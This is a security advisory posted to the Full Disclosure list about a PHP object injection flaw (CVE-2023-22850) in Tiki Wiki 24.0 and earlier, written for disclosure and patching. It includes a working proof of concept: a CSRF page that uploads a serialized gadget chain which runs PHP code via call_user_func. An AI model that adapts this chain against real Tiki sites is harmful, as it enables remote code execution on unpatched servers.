full-disclosure - [FD] [KIS-2023-03] Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection Vulnerability

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Message-ID: <a63b6f3340306a476f42d577b871b631@karmainsecurity.com>
Date: Mon, 09 Jan 2023 21:10:11 +0100
From: Egidio Romano <research@...mainsecurity.com>
To: Full Disclosure <fulldisclosure@...lists.org>,
 submissions@...ketstormsecurity.com
Subject: [FD] [KIS-2023-03] Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP
 Object Injection Vulnerability

-----------------------------------------------------------------------------
Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection 
Vulnerability
-----------------------------------------------------------------------------

[-] Software Link:

https://tiki.org

[-] Affected Versions:

Version 24.0 and prior versions.

[-] Vulnerability Description:

The vulnerability is located in the /lib/sheet/grid.php script, 
specifically into the TikiSheetSerializeHandler::_load() method, which 
is using the unserialize() PHP function with user-controlled input. This 
can be exploited by malicious users to inject arbitrary PHP objects into 
the application scope, allowing them to perform a variety of attacks, 
such as executing arbitrary PHP code. Successful exploitation of this 
vulnerability requires the “Spreadsheets” feature to be enabled and an 
account with permissions to create a new sheet. However, due to the CSRF 
vulnerability described in KIS-2023-01, this vulnerability might also be 
exploited by tricking a victim user into opening a web page like the 
following:

<html>
  <form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1" 
method="POST" enctype="multipart/form-data">
   <input type="hidden" name="handler" value="TikiSheetSerializeHandler" 
/>
   <input type="file" name="file" id="fileinput"/>
  </form>
  <script>
   const popChain = 
'O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}';
   const fileInput = document.getElementById("fileinput");
   const dataTransfer = new DataTransfer();
   const file = new File([popChain], "test");
   dataTransfer.items.add(file);
   fileInput.files = dataTransfer.files;
   document.forms[0].submit();
  </script>
</html>

[-] Solution:

Upgrade to version 24.1 or later.

[-] Disclosure Timeline:

[07/03/2022] - Vendor notified
[23/08/2022] - Version 24.1 released
[09/01/2023] - Public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-22850 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Original Advisory:

http://karmainsecurity.com/KIS-2023-03

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